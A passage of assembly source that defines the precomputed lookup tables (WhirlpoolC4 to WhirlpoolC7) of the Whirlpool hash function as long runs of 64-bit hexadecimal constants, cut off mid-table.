08c13d99f9fbc9fd9h,0d32317f0f00df017h,06a207f4a4ade4a7fh,09e4495dada73da95h dq 0faa2255858e85825h,006cfcac9c946c9cah,0557c8d29297b298dh,0505a220a0a1e0a22h dq 0e1504fb1b1ceb14fh,069c91aa0a0fda01ah,07f14da6b6bbd6bdah,05cd9ab85859285abh dq 0813c73bdbddabd73h,0d28f345d5de75d34h,08090501010301050h,0f30703f4f401f403h dq 016ddc0cbcb40cbc0h,0edd3c63e3e423ec6h,0282d1105050f0511h,01f78e66767a967e6h dq 0739753e4e431e453h,02502bb27276927bbh,03273584141c34158h,02ca79d8b8b808b9dh dq 051f601a7a7f4a701h,0cfb2947d7d877d94h,0dc49fb9595a295fbh,08e569fd8d875d89fh dq 08b7030fbfb10fb30h,023cd71eeee2fee71h,0c7bb917c7c847c91h,01771e36666aa66e3h dq 0a67b8edddd7add8eh,0b8af4b171739174bh,00245464747c94746h,0841adc9e9ebf9edch dq 01ed4c5caca43cac5h,07558992d2d772d99h,0912e79bfbfdcbf79h,0383f1b070709071bh dq 001ac23adadeaad23h,0eab02f5a5aee5a2fh,06cefb583839883b5h,085b6ff33335533ffh dq 03f5cf26363a563f2h,010120a020206020ah,0399338aaaae3aa38h,0afdea871719371a8h dq 00ec6cfc8c845c8cfh,0c8d17d19192b197dh,0723b704949db4970h,0865f9ad9d976d99ah dq 0c3311df2f20bf21dh,04ba848e3e338e348h,0e2b92a5b5bed5b2ah,034bc928888858892h dq 0a43ec89a9ab39ac8h,02d0bbe26266a26beh,08dbffa32325632fah,0e9594ab0b0cdb04ah dq 01bf26ae9e926e96ah,07877330f0f110f33h,0e633a6d5d562d5a6h,074f4ba80809d80bah dq 099277cbebedfbe7ch,026ebdecdcd4acddeh,0bd89e434345c34e4h,07a32754848d84875h dq 0ab5424ffff1cff24h,0f78d8f7a7a8e7a8fh,0f464ea9090ad90eah,0c29d3e5f5fe15f3eh dq 01d3da020206020a0h,0670fd56868b868d5h,0d0ca721a1a2e1a72h,019b72caeaeefae2ch dq 0c97d5eb4b4c1b45eh,09ace195454fc5419h,0ec7fe59393a893e5h,00d2faa22226622aah dq 00763e96464ac64e9h,0db2a12f1f10ef112h,0bfcca273739573a2h,090825a121236125ah dq 03a7a5d4040c0405dh,04048280808180828h,05695e8c3c358c3e8h,033df7becec29ec7bh dq 0964d90dbdb70db90h,061c01fa1a1fea11fh,01c91838d8d8a8d83h,0f5c8c93d3d473dc9h dq 0cc5bf19797a497f1h,00000000000000000h,036f9d4cfcf4ccfd4h,0456e872b2b7d2b87h dq 097e1b376769a76b3h,064e6b082829b82b0h,0fe28a9d6d667d6a9h,0d8c3771b1b2d1b77h dq 0c1745bb5b5c2b55bh,011be29afafecaf29h,0771ddf6a6abe6adfh,0baea0d5050f0500dh dq 012574c4545cf454ch,0cb3818f3f308f318h,09dadf030305030f0h,02bc474efef2cef74h dq 0e5dac33f3f413fc3h,092c71c5555ff551ch,079db10a2a2fba210h,003e965eaea23ea65h dq 00f6aec6565af65ech,0b90368babad3ba68h,0654a932f2f712f93h,04e8ee7c0c05dc0e7h dq 0be6081dede7fde81h,0e0fc6c1c1c241c6ch,0bb462efdfd1afd2eh,0521f644d4dd74d64h dq 0e476e09292ab92e0h,08ffabc75759f75bch,030361e06060a061eh,024ae988a8a838a98h dq 0f94b40b2b2cbb240h,0638559e6e637e659h,0707e360e0e120e36h,0f8e7631f1f211f63h dq 03755f76262a662f7h,0ee3aa3d4d461d4a3h,0298132a8a8e5a832h,0c452f49696a796f4h dq 09b623af9f916f93ah,066a3f6c5c552c5f6h,03510b125256f25b1h,0f2ab205959eb5920h dq 054d0ae84849184aeh,0b7c5a772729672a7h,0d5ecdd39394b39ddh,05a16614c4cd44c61h dq 0ca943b5e5ee25e3bh,0e79f857878887885h,0dde5d838384838d8h,01498868c8c898c86h dq 0c617b2d1d16ed1b2h,041e40ba5a5f2a50bh,043a14de2e23be24dh,02f4ef86161a361f8h dq 0f14245b3b3c8b345h,01534a521216321a5h,09408d69c9cb99cd6h,0f0ee661e1e221e66h dq 02261524343c54352h,076b1fcc7c754c7fch,0b34f2bfcfc19fc2bh,020241404040c0414h dq 0b2e3085151f35108h,0bc25c79999b699c7h,04f22c46d6db76dc4h,06865390d0d170d39h dq 0837935fafa13fa35h,0b66984dfdf7cdf84h,0d7a99b7e7e827e9bh,03d19b424246c24b4h dq 0c5fed73b3b4d3bd7h,0319a3dababe0ab3dh,03ef0d1cece4fced1h,08899551111331155h dq 00c83898f8f8c8f89h,04a046b4e4ed24e6bh,0d16651b7b7c4b751h,00be060ebeb20eb60h dq 0fdc1cc3c3c443ccch,07cfdbf81819e81bfh,0d440fe9494a194feh,0eb1c0cf7f704f70ch dq 0a11867b9b9d6b967h,0988b5f131335135fh,07d519c2c2c742c9ch,0d605b8d3d368d3b8h dq 06b8c5ce7e734e75ch,05739cb6e6eb26ecbh,06eaaf3c4c451c4f3h,0181b0f030305030fh dq 08adc135656fa5613h,01a5e494444cc4449h,0dfa09e7f7f817f9eh,0218837a9a9e6a937h dq 04d67822a2a7e2a82h,0b10a6dbbbbd0bb6dh,04687e2c1c15ec1e2h,0a2f1025353f55302h dq 0ae728bdcdc79dc8bh,05853270b0b1d0b27h,09c01d39d9dba9dd3h,0472bc16c6cb46cc1h dq 095a4f531315331f5h,087f3b974749c74b9h,0e31509f6f607f609h,00a4c434646ca4643h dq 009a526acace9ac26h,03cb5978989868997h,0a0b44414143c1444h,05bba42e1e13ee142h dq 0b0a64e16163a164eh,0cdf7d23a3a4e3ad2h,06f06d06969bb69d0h,048412d09091b092dh dq 0a7d7ad70709070adh,0d96f54b6b6c7b654h,0ce1eb7d0d06dd0b7h,03bd67eeded2aed7eh dq 02ee2dbcccc49ccdbh,02a68574242c64257h,0b42cc29898b598c2h,049ed0ea4a4f1a40eh dq 05d75882828782888h,0da86315c5ce45c31h,0936b3ff8f815f83fh,044c2a486869786a4h WhirlpoolC4 label qword dq 078c0d87818182818h,0af0526af23236523h,0f97eb8f9c6c657c6h,06f13fb6fe8e825e8h dq 0a14ccba187879487h,062a91162b8b8d5b8h,00508090501010301h,06e420d6e4f4fd14fh dq 0eead9bee36365a36h,00459ff04a6a6f7a6h,0bdde0cbdd2d26bd2h,006fb0e06f5f502f5h dq 080ef968079798b79h,0ce5f30ce6f6fb16fh,0effc6def9191ae91h,007aaf8075252f652h dq 0fd2747fd6060a060h,076893576bcbcd9bch,0cdac37cd9b9bb09bh,08c048a8c8e8e8f8eh dq 01571d215a3a3f8a3h,03c606c3c0c0c140ch,08aff848a7b7b8d7bh,0e1b580e135355f35h dq 069e8f5691d1d271dh,04753b347e0e03de0h,0acf621acd7d764d7h,0ed5e9cedc2c25bc2h dq 0966d43962e2e722eh,07a62297a4b4bdd4bh,021a35d21fefe1ffeh,01682d5165757f957h dq 041a8bd4115153f15h,0b69fe8b677779977h,0eba592eb37375937h,0567b9e56e5e532e5h dq 0d98c13d99f9fbc9fh,017d32317f0f00df0h,07f6a207f4a4ade4ah,0959e4495dada73dah dq 025faa2255858e858h,0ca06cfcac9c946c9h,08d557c8d29297b29h,022505a220a0a1e0ah dq 04fe1504fb1b1ceb1h,01a69c91aa0a0fda0h,0da7f14da6b6bbd6bh,0ab5cd9ab85859285h dq 073813c73bdbddabdh,034d28f345d5de75dh,05080905010103010h,003f30703f4f401f4h dq 0c016ddc0cbcb40cbh,0c6edd3c63e3e423eh,011282d1105050f05h,0e61f78e66767a967h dq 053739753e4e431e4h,0bb2502bb27276927h,0583273584141c341h,09d2ca79d8b8b808bh dq 00151f601a7a7f4a7h,094cfb2947d7d877dh,0fbdc49fb9595a295h,09f8e569fd8d875d8h dq 0308b7030fbfb10fbh,07123cd71eeee2feeh,091c7bb917c7c847ch,0e31771e36666aa66h dq 08ea67b8edddd7addh,04bb8af4b17173917h,0460245464747c947h,0dc841adc9e9ebf9eh dq 0c51ed4c5caca43cah,0997558992d2d772dh,079912e79bfbfdcbfh,01b383f1b07070907h dq 02301ac23adadeaadh,02feab02f5a5aee5ah,0b56cefb583839883h,0ff85b6ff33335533h dq 0f23f5cf26363a563h,00a10120a02020602h,038399338aaaae3aah,0a8afdea871719371h dq 0cf0ec6cfc8c845c8h,07dc8d17d19192b19h,070723b704949db49h,09a865f9ad9d976d9h dq 01dc3311df2f20bf2h,0484ba848e3e338e3h,02ae2b92a5b5bed5bh,09234bc9288888588h dq 0c8a43ec89a9ab39ah,0be2d0bbe26266a26h,0fa8dbffa32325632h,04ae9594ab0b0cdb0h dq 06a1bf26ae9e926e9h,0337877330f0f110fh,0a6e633a6d5d562d5h,0ba74f4ba80809d80h dq 07c99277cbebedfbeh,0de26ebdecdcd4acdh,0e4bd89e434345c34h,0757a32754848d848h dq 024ab5424ffff1cffh,08ff78d8f7a7a8e7ah,0eaf464ea9090ad90h,03ec29d3e5f5fe15fh dq 0a01d3da020206020h,0d5670fd56868b868h,072d0ca721a1a2e1ah,02c19b72caeaeefaeh dq 05ec97d5eb4b4c1b4h,0199ace195454fc54h,0e5ec7fe59393a893h,0aa0d2faa22226622h dq 0e90763e96464ac64h,012db2a12f1f10ef1h,0a2bfcca273739573h,05a90825a12123612h dq 05d3a7a5d4040c040h,02840482808081808h,0e85695e8c3c358c3h,07b33df7becec29ech dq 090964d90dbdb70dbh,01f61c01fa1a1fea1h,0831c91838d8d8a8dh,0c9f5c8c93d3d473dh dq 0f1cc5bf19797a497h,00000000000000000h,0d436f9d4cfcf4ccfh,087456e872b2b7d2bh dq 0b397e1b376769a76h,0b064e6b082829b82h,0a9fe28a9d6d667d6h,077d8c3771b1b2d1bh dq 05bc1745bb5b5c2b5h,02911be29afafecafh,0df771ddf6a6abe6ah,00dbaea0d5050f050h dq 04c12574c4545cf45h,018cb3818f3f308f3h,0f09dadf030305030h,0742bc474efef2cefh dq 0c3e5dac33f3f413fh,01c92c71c5555ff55h,01079db10a2a2fba2h,06503e965eaea23eah dq 0ec0f6aec6565af65h,068b90368babad3bah,093654a932f2f712fh,0e74e8ee7c0c05dc0h dq 081be6081dede7fdeh,06ce0fc6c1c1c241ch,02ebb462efdfd1afdh,064521f644d4dd74dh dq 0e0e476e09292ab92h,0bc8ffabc75759f75h,01e30361e06060a06h,09824ae988a8a838ah dq 040f94b40b2b2cbb2h,059638559e6e637e6h,036707e360e0e120eh,063f8e7631f1f211fh dq 0f73755f76262a662h,0a3ee3aa3d4d461d4h,032298132a8a8e5a8h,0f4c452f49696a796h dq 03a9b623af9f916f9h,0f666a3f6c5c552c5h,0b13510b125256f25h,020f2ab205959eb59h dq 0ae54d0ae84849184h,0a7b7c5a772729672h,0ddd5ecdd39394b39h,0615a16614c4cd44ch dq 03bca943b5e5ee25eh,085e79f8578788878h,0d8dde5d838384838h,0861498868c8c898ch dq 0b2c617b2d1d16ed1h,00b41e40ba5a5f2a5h,04d43a14de2e23be2h,0f82f4ef86161a361h dq 045f14245b3b3c8b3h,0a51534a521216321h,0d69408d69c9cb99ch,066f0ee661e1e221eh dq 0522261524343c543h,0fc76b1fcc7c754c7h,02bb34f2bfcfc19fch,01420241404040c04h dq 008b2e3085151f351h,0c7bc25c79999b699h,0c44f22c46d6db76dh,0396865390d0d170dh dq 035837935fafa13fah,084b66984dfdf7cdfh,09bd7a99b7e7e827eh,0b43d19b424246c24h dq 0d7c5fed73b3b4d3bh,03d319a3dababe0abh,0d13ef0d1cece4fceh,05588995511113311h dq 0890c83898f8f8c8fh,06b4a046b4e4ed24eh,051d16651b7b7c4b7h,0600be060ebeb20ebh dq 0ccfdc1cc3c3c443ch,0bf7cfdbf81819e81h,0fed440fe9494a194h,00ceb1c0cf7f704f7h dq 067a11867b9b9d6b9h,05f988b5f13133513h,09c7d519c2c2c742ch,0b8d605b8d3d368d3h dq 05c6b8c5ce7e734e7h,0cb5739cb6e6eb26eh,0f36eaaf3c4c451c4h,00f181b0f03030503h dq 0138adc135656fa56h,0491a5e494444cc44h,09edfa09e7f7f817fh,037218837a9a9e6a9h dq 0824d67822a2a7e2ah,06db10a6dbbbbd0bbh,0e24687e2c1c15ec1h,002a2f1025353f553h dq 08bae728bdcdc79dch,0275853270b0b1d0bh,0d39c01d39d9dba9dh,0c1472bc16c6cb46ch dq 0f595a4f531315331h,0b987f3b974749c74h,009e31509f6f607f6h,0430a4c434646ca46h dq 02609a526acace9ach,0973cb59789898689h,044a0b44414143c14h,0425bba42e1e13ee1h dq 04eb0a64e16163a16h,0d2cdf7d23a3a4e3ah,0d06f06d06969bb69h,02d48412d09091b09h dq 0ada7d7ad70709070h,054d96f54b6b6c7b6h,0b7ce1eb7d0d06dd0h,07e3bd67eeded2aedh dq 0db2ee2dbcccc49cch,0572a68574242c642h,0c2b42cc29898b598h,00e49ed0ea4a4f1a4h dq 0885d758828287828h,031da86315c5ce45ch,03f936b3ff8f815f8h,0a444c2a486869786h WhirlpoolC5 label qword dq 01878c0d878181828h,023af0526af232365h,0c6f97eb8f9c6c657h,0e86f13fb6fe8e825h dq 087a14ccba1878794h,0b862a91162b8b8d5h,00105080905010103h,04f6e420d6e4f4fd1h dq 036eead9bee36365ah,0a60459ff04a6a6f7h,0d2bdde0cbdd2d26bh,0f506fb0e06f5f502h dq 07980ef968079798bh,06fce5f30ce6f6fb1h,091effc6def9191aeh,05207aaf8075252f6h dq 060fd2747fd6060a0h,0bc76893576bcbcd9h,09bcdac37cd9b9bb0h,08e8c048a8c8e8e8fh dq 0a31571d215a3a3f8h,00c3c606c3c0c0c14h,07b8aff848a7b7b8dh,035e1b580e135355fh dq 01d69e8f5691d1d27h,0e04753b347e0e03dh,0d7acf621acd7d764h,0c2ed5e9cedc2c25bh dq 02e966d43962e2e72h,04b7a62297a4b4bddh,0fe21a35d21fefe1fh,0571682d5165757f9h dq 01541a8bd4115153fh,077b69fe8b6777799h,037eba592eb373759h,0e5567b9e56e5e532h dq 09fd98c13d99f9fbch,0f017d32317f0f00dh,04a7f6a207f4a4adeh,0da959e4495dada73h dq 05825faa2255858e8h,0c9ca06cfcac9c946h,0298d557c8d29297bh,00a22505a220a0a1eh dq 0b14fe1504fb1b1ceh,0a01a69c91aa0a0fdh,06bda7f14da6b6bbdh,085ab5cd9ab858592h dq 0bd73813c73bdbddah,05d34d28f345d5de7h,01050809050101030h,0f403f30703f4f401h dq 0cbc016ddc0cbcb40h,03ec6edd3c63e3e42h,00511282d1105050fh,067e61f78e66767a9h dq 0e453739753e4e431h,027bb2502bb272769h,041583273584141c3h,08b9d2ca79d8b8b80h dq 0a70151f601a7a7f4h,07d94cfb2947d7d87h,095fbdc49fb9595a2h,0d89f8e569fd8d875h dq 0fb308b7030fbfb10h,0ee7123cd71eeee2fh,07c91c7bb917c7c84h,066e31771e36666aah dq 0dd8ea67b8edddd7ah,0174bb8af4b171739h,047460245464747c9h,09edc841adc9e9ebfh dq 0cac51ed4c5caca43h,02d997558992d2d77h,0bf79912e79bfbfdch,0071b383f1b070709h dq 0ad2301ac23adadeah,05a2feab02f5a5aeeh,083b56cefb5838398h,033ff85b6ff333355h dq 063f23f5cf26363a5h,0020a10120a020206h,0aa38399338aaaae3h,071a8afdea8717193h dq 0c8cf0ec6cfc8c845h,0197dc8d17d19192bh,04970723b704949dbh,0d99a865f9ad9d976h dq 0f21dc3311df2f20bh,0e3484ba848e3e338h,05b2ae2b92a5b5bedh,0889234bc92888885h dq 09ac8a43ec89a9ab3h,026be2d0bbe26266ah,032fa8dbffa323256h,0b04ae9594ab0b0cdh dq 0e96a1bf26ae9e926h,00f337877330f0f11h,0d5a6e633a6d5d562h,080ba74f4ba80809dh dq 0be7c99277cbebedfh,0cdde26ebdecdcd4ah,034e4bd89e434345ch,048757a32754848d8h dq 0ff24ab5424ffff1ch,07a8ff78d8f7a7a8eh,090eaf464ea9090adh,05f3ec29d3e5f5fe1h dq 020a01d3da0202060h,068d5670fd56868b8h,01a72d0ca721a1a2eh,0ae2c19b72caeaeefh dq 0b45ec97d5eb4b4c1h,054199ace195454fch,093e5ec7fe59393a8h,022aa0d2faa222266h dq 064e90763e96464ach,0f112db2a12f1f10eh,073a2bfcca2737395h,0125a90825a121236h dq 0405d3a7a5d4040c0h,00828404828080818h,0c3e85695e8c3c358h,0ec7b33df7becec29h dq 0db90964d90dbdb70h,0a11f61c01fa1a1feh,08d831c91838d8d8ah,03dc9f5c8c93d3d47h dq 097f1cc5bf19797a4h,00000000000000000h,0cfd436f9d4cfcf4ch,02b87456e872b2b7dh dq 076b397e1b376769ah,082b064e6b082829bh,0d6a9fe28a9d6d667h,01b77d8c3771b1b2dh dq 0b55bc1745bb5b5c2h,0af2911be29afafech,06adf771ddf6a6abeh,0500dbaea0d5050f0h dq 0454c12574c4545cfh,0f318cb3818f3f308h,030f09dadf0303050h,0ef742bc474efef2ch dq 03fc3e5dac33f3f41h,0551c92c71c5555ffh,0a21079db10a2a2fbh,0ea6503e965eaea23h dq 065ec0f6aec6565afh,0ba68b90368babad3h,02f93654a932f2f71h,0c0e74e8ee7c0c05dh dq 0de81be6081dede7fh,01c6ce0fc6c1c1c24h,0fd2ebb462efdfd1ah,04d64521f644d4dd7h dq 092e0e476e09292abh,075bc8ffabc75759fh,0061e30361e06060ah,08a9824ae988a8a83h dq 0b240f94b40b2b2cbh,0e659638559e6e637h,00e36707e360e0e12h,01f63f8e7631f1f21h dq 062f73755f76262a6h,0d4a3ee3aa3d4d461h,0a832298132a8a8e5h,096f4c452f49696a7h dq 0f93a9b623af9f916h,0c5f666a3f6c5c552h,025b13510b125256fh,05920f2ab205959ebh dq 084ae54d0ae848491h,072a7b7c5a7727296h,039ddd5ecdd39394bh,04c615a16614c4cd4h dq 05e3bca943b5e5ee2h,07885e79f85787888h,038d8dde5d8383848h,08c861498868c8c89h dq 0d1b2c617b2d1d16eh,0a50b41e40ba5a5f2h,0e24d43a14de2e23bh,061f82f4ef86161a3h dq 0b345f14245b3b3c8h,021a51534a5212163h,09cd69408d69c9cb9h,01e66f0ee661e1e22h dq 043522261524343c5h,0c7fc76b1fcc7c754h,0fc2bb34f2bfcfc19h,0041420241404040ch dq 05108b2e3085151f3h,099c7bc25c79999b6h,06dc44f22c46d6db7h,00d396865390d0d17h dq 0fa35837935fafa13h,0df84b66984dfdf7ch,07e9bd7a99b7e7e82h,024b43d19b424246ch dq 03bd7c5fed73b3b4dh,0ab3d319a3dababe0h,0ced13ef0d1cece4fh,01155889955111133h dq 08f890c83898f8f8ch,04e6b4a046b4e4ed2h,0b751d16651b7b7c4h,0eb600be060ebeb20h dq 03cccfdc1cc3c3c44h,081bf7cfdbf81819eh,094fed440fe9494a1h,0f70ceb1c0cf7f704h dq 0b967a11867b9b9d6h,0135f988b5f131335h,02c9c7d519c2c2c74h,0d3b8d605b8d3d368h dq 0e75c6b8c5ce7e734h,06ecb5739cb6e6eb2h,0c4f36eaaf3c4c451h,0030f181b0f030305h dq 056138adc135656fah,044491a5e494444cch,07f9edfa09e7f7f81h,0a937218837a9a9e6h dq 02a824d67822a2a7eh,0bb6db10a6dbbbbd0h,0c1e24687e2c1c15eh,05302a2f1025353f5h dq 0dc8bae728bdcdc79h,00b275853270b0b1dh,09dd39c01d39d9dbah,06cc1472bc16c6cb4h dq 031f595a4f5313153h,074b987f3b974749ch,0f609e31509f6f607h,046430a4c434646cah dq 0ac2609a526acace9h,089973cb597898986h,01444a0b44414143ch,0e1425bba42e1e13eh dq 0164eb0a64e16163ah,03ad2cdf7d23a3a4eh,069d06f06d06969bbh,0092d48412d09091bh dq 070ada7d7ad707090h,0b654d96f54b6b6c7h,0d0b7ce1eb7d0d06dh,0ed7e3bd67eeded2ah dq 0ccdb2ee2dbcccc49h,042572a68574242c6h,098c2b42cc29898b5h,0a40e49ed0ea4a4f1h dq 028885d7588282878h,05c31da86315c5ce4h,0f83f936b3ff8f815h,086a444c2a4868697h WhirlpoolC6 label qword dq 0281878c0d8781818h,06523af0526af2323h,057c6f97eb8f9c6c6h,025e86f13fb6fe8e8h dq 09487a14ccba18787h,0d5b862a91162b8b8h,00301050809050101h,0d14f6e420d6e4f4fh dq 05a36eead9bee3636h,0f7a60459ff04a6a6h,06bd2bdde0cbdd2d2h,002f506fb0e06f5f5h dq 08b7980ef96807979h,0b16fce5f30ce6f6fh,0ae91effc6def9191h,0f65207aaf8075252h dq 0a060fd2747fd6060h,0d9bc76893576bcbch,0b09bcdac37cd9b9bh,08f8e8c048a8c8e8eh dq 0f8a31571d215a3a3h,0140c3c606c3c0c0ch,08d7b8aff848a7b7bh,05f35e1b580e13535h dq 0271d69e8f5691d1dh,03de04753b347e0e0h,064d7acf621acd7d7h,05bc2ed5e9cedc2c2h dq 0722e966d43962e2eh,0dd4b7a62297a4b4bh,01ffe21a35d21fefeh,0f9571682d5165757h dq 03f1541a8bd411515h,09977b69fe8b67777h,05937eba592eb3737h,032e5567b9e56e5e5h dq 0bc9fd98c13d99f9fh,00df017d32317f0f0h,0de4a7f6a207f4a4ah,073da959e4495dadah dq 0e85825faa2255858h,046c9ca06cfcac9c9h,07b298d557c8d2929h,01e0a22505a220a0ah dq 0ceb14fe1504fb1b1h,0fda01a69c91aa0a0h,0bd6bda7f14da6b6bh,09285ab5cd9ab8585h dq 0dabd73813c73bdbdh,0e75d34d28f345d5dh,03010508090501010h,001f403f30703f4f4h dq 040cbc016ddc0cbcbh,0423ec6edd3c63e3eh,00f0511282d110505h,0a967e61f78e66767h dq 031e453739753e4e4h,06927bb2502bb2727h,0c341583273584141h,0808b9d2ca79d8b8bh dq 0f4a70151f601a7a7h,0877d94cfb2947d7dh,0a295fbdc49fb9595h,075d89f8e569fd8d8h dq 010fb308b7030fbfbh,02fee7123cd71eeeeh,0847c91c7bb917c7ch,0aa66e31771e36666h dq 07add8ea67b8eddddh,039174bb8af4b1717h,0c947460245464747h,0bf9edc841adc9e9eh dq 043cac51ed4c5cacah,0772d997558992d2dh,0dcbf79912e79bfbfh,009071b383f1b0707h dq 0eaad2301ac23adadh,0ee5a2feab02f5a5ah,09883b56cefb58383h,05533ff85b6ff3333h dq 0a563f23f5cf26363h,006020a10120a0202h,0e3aa38399338aaaah,09371a8afdea87171h dq 045c8cf0ec6cfc8c8h,02b197dc8d17d1919h,0db4970723b704949h,076d99a865f9ad9d9h dq 00bf21dc3311df2f2h,038e3484ba848e3e3h,0ed5b2ae2b92a5b5bh,085889234bc928888h dq 0b39ac8a43ec89a9ah,06a26be2d0bbe2626h,05632fa8dbffa3232h,0cdb04ae9594ab0b0h dq 026e96a1bf26ae9e9h,0110f337877330f0fh,062d5a6e633a6d5d5h,09d80ba74f4ba8080h dq 0dfbe7c99277cbebeh,04acdde26ebdecdcdh,05c34e4bd89e43434h,0d848757a32754848h dq 01cff24ab5424ffffh,08e7a8ff78d8f7a7ah,0ad90eaf464ea9090h,0e15f3ec29d3e5f5fh dq 06020a01d3da02020h,0b868d5670fd56868h,02e1a72d0ca721a1ah,0efae2c19b72caeaeh dq 0c1b45ec97d5eb4b4h,0fc54199ace195454h,0a893e5ec7fe59393h,06622aa0d2faa2222h dq 0ac64e90763e96464h,00ef112db2a12f1f1h,09573a2bfcca27373h,036125a90825a1212h dq 0c0405d3a7a5d4040h,01808284048280808h,058c3e85695e8c3c3h,029ec7b33df7becech dq 070db90964d90dbdbh,0fea11f61c01fa1a1h,08a8d831c91838d8dh,0473dc9f5c8c93d3dh dq 0a497f1cc5bf19797h,00000000000000000h,04ccfd436f9d4cfcfh,07d2b87456e872b2bh dq 09a76b397e1b37676h,09b82b064e6b08282h,067d6a9fe28a9d6d6h,02d1b77d8c3771b1bh dq 0c2b55bc1745bb5b5h,0ecaf2911be29afafh,0be6adf771ddf6a6ah,0f0500dbaea0d5050h dq 0cf454c12574c4545h,008f318cb3818f3f3h,05030f09dadf03030h,02cef742bc474efefh dq 0413fc3e5dac33f3fh,0ff551c92c71c5555h,0fba21079db10a2a2h,023ea6503e965eaeah dq 0af65ec0f6aec6565h,0d3ba68b90368babah,0712f93654a932f2fh,05dc0e74e8ee7c0c0h dq 07fde81be6081dedeh,0241c6ce0fc6c1c1ch,01afd2ebb462efdfdh,0d74d64521f644d4dh dq 0ab92e0e476e09292h,09f75bc8ffabc7575h,00a061e30361e0606h,0838a9824ae988a8ah dq 0cbb240f94b40b2b2h,037e659638559e6e6h,0120e36707e360e0eh,0211f63f8e7631f1fh dq 0a662f73755f76262h,061d4a3ee3aa3d4d4h,0e5a832298132a8a8h,0a796f4c452f49696h dq 016f93a9b623af9f9h,052c5f666a3f6c5c5h,06f25b13510b12525h,0eb5920f2ab205959h dq 09184ae54d0ae8484h,09672a7b7c5a77272h,04b39ddd5ecdd3939h,0d44c615a16614c4ch dq 0e25e3bca943b5e5eh,0887885e79f857878h,04838d8dde5d83838h,0898c861498868c8ch dq 06ed1b2c617b2d1d1h,0f2a50b41e40ba5a5h,03be24d43a14de2e2h,0a361f82f4ef86161h dq 0c8b345f14245b3b3h,06321a51534a52121h,0b99cd69408d69c9ch,0221e66f0ee661e1eh dq 0c543522261524343h,054c7fc76b1fcc7c7h,019fc2bb34f2bfcfch,00c04142024140404h dq 0f35108b2e3085151h,0b699c7bc25c79999h,0b76dc44f22c46d6dh,0170d396865390d0dh dq 013fa35837935fafah,07cdf84b66984dfdfh,0827e9bd7a99b7e7eh,06c24b43d19b42424h dq 04d3bd7c5fed73b3bh,0e0ab3d319a3dababh,04fced13ef0d1ceceh,03311558899551111h dq 08c8f890c83898f8fh,0d24e6b4a046b4e4eh,0c4b751d16651b7b7h,020eb600be060ebebh dq 0443cccfdc1cc3c3ch,09e81bf7cfdbf8181h,0a194fed440fe9494h,004f70ceb1c0cf7f7h dq 0d6b967a11867b9b9h,035135f988b5f1313h,0742c9c7d519c2c2ch,068d3b8d605b8d3d3h dq 034e75c6b8c5ce7e7h,0b26ecb5739cb6e6eh,051c4f36eaaf3c4c4h,005030f181b0f0303h dq 0fa56138adc135656h,0cc44491a5e494444h,0817f9edfa09e7f7fh,0e6a937218837a9a9h dq 07e2a824d67822a2ah,0d0bb6db10a6dbbbbh,05ec1e24687e2c1c1h,0f55302a2f1025353h dq 079dc8bae728bdcdch,01d0b275853270b0bh,0ba9dd39c01d39d9dh,0b46cc1472bc16c6ch dq 05331f595a4f53131h,09c74b987f3b97474h,007f609e31509f6f6h,0ca46430a4c434646h dq 0e9ac2609a526acach,08689973cb5978989h,03c1444a0b4441414h,03ee1425bba42e1e1h dq 03a164eb0a64e1616h,04e3ad2cdf7d23a3ah,0bb69d06f06d06969h,01b092d48412d0909h dq 09070ada7d7ad7070h,0c7b654d96f54b6b6h,06dd0b7ce1eb7d0d0h,02aed7e3bd67eededh dq 049ccdb2ee2dbcccch,0c642572a68574242h,0b598c2b42cc29898h,0f1a40e49ed0ea4a4h dq 07828885d75882828h,0e45c31da86315c5ch,015f83f936b3ff8f8h,09786a444c2a48686h WhirlpoolC7 label qword dq 018281878c0d87818h,0236523af0526af23h,0c657c6f97eb8f9c6h,0e825e86f13fb6fe8h dq 0879487a14ccba187h,0b8d5b862a91162b8h,00103010508090501h,04fd14f6e420d6e4fh dq 0365a36eead9bee36h,0a6f7a60459ff04a6h,0d26bd2bdde0cbdd2h,0f502f506fb0e06f5h dq 0798b7980ef968079h,06fb16fce5f30ce6fh,091ae91effc6def91h,052f65207aaf80752h dq 060a060fd2747fd60h,0bcd9bc76893576bch,09bb09bcdac37cd9bh,08e8f8e8c048a8c8eh dq 0a3f8a31571d215a3h,00c140c3c606c3c0ch,07b8d7b8aff848a7bh,0355f35e1b580e135h dq 01d271d69e8f5691dh,0e03de04753b347e0h,0d764d7acf621acd7h,0c25bc2ed5e9cedc2h dq 02e722e966d43962eh,04bdd4b7a62297a4bh,0fe1ffe21a35d21feh,057f9571682d51657h dq 0153f1541a8bd4115h,0779977b69fe8b677h,0375937eba592eb37h,0e532e5567b9e56e5h dq 09fbc9fd98c13d99fh,0f00df017d32317f0h,04ade4a7f6a207f4ah,0da73da959e4495dah dq 058e85825faa22558h,0c946c9ca06cfcac9h,0297b298d557c8d29h,00a1e0a22505a220ah dq 0b1ceb14fe1504fb1h,0a0fda01a69c91aa0h,06bbd6bda7f14da6bh,0859285ab5cd9ab85h dq 0bddabd73813c73bdh,05de75d34d28f345dh,01030105080905010h,0f401f403f30703f4h dq 0cb40cbc016ddc0cbh,03e423ec6edd3c63eh,0050f0511282d1105h,067a967e61f78e667h dq 0e431e453739753e4h,0276927bb2502bb27h,041c3415832735841h,08b808b9d2ca79d8bh dq 0a7f4a70151f601a7h,07d877d94cfb2947dh,095a295fbdc49fb95h,0d875d89f8e569fd8h dq 0fb10fb308b7030fbh,0ee2fee7123cd71eeh,07c847c91c7bb917ch,066aa66e31771e366h dq 0dd7add8ea67b8eddh,01739174bb8af4b17h,047c9474602454647h,09ebf9edc841adc9eh dq 0ca43cac51ed4c5cah,02d772d997558992dh,0bfdcbf79912e79bfh,00709071b383f1b07h dq 0adeaad2301ac23adh,05aee5a2feab02f5ah,0839883b56cefb583h,0335533ff85b6ff33h dq 063a563f23f5cf263h,00206020a10120a02h,0aae3aa38399338aah,0719371a8afdea871h dq 0c845c8cf0ec6cfc8h,0192b197dc8d17d19h,049db4970723b7049h,0d976d99a865f9ad9h dq 0f20bf21dc3311df2h,0e338e3484ba848e3h,05bed5b2ae2b92a5bh,08885889234bc9288h dq 09ab39ac8a43ec89ah,0266a26be2d0bbe26h,0325632fa8dbffa32h,0b0cdb04ae9594ab0h dq 0e926e96a1bf26ae9h,00f110f337877330fh,0d562d5a6e633a6d5h,0809d80ba74f4ba80h dq 0bedfbe7c99277cbeh,0cd4acdde26ebdecdh,0345c34e4bd89e434h,048d848757a327548h dq 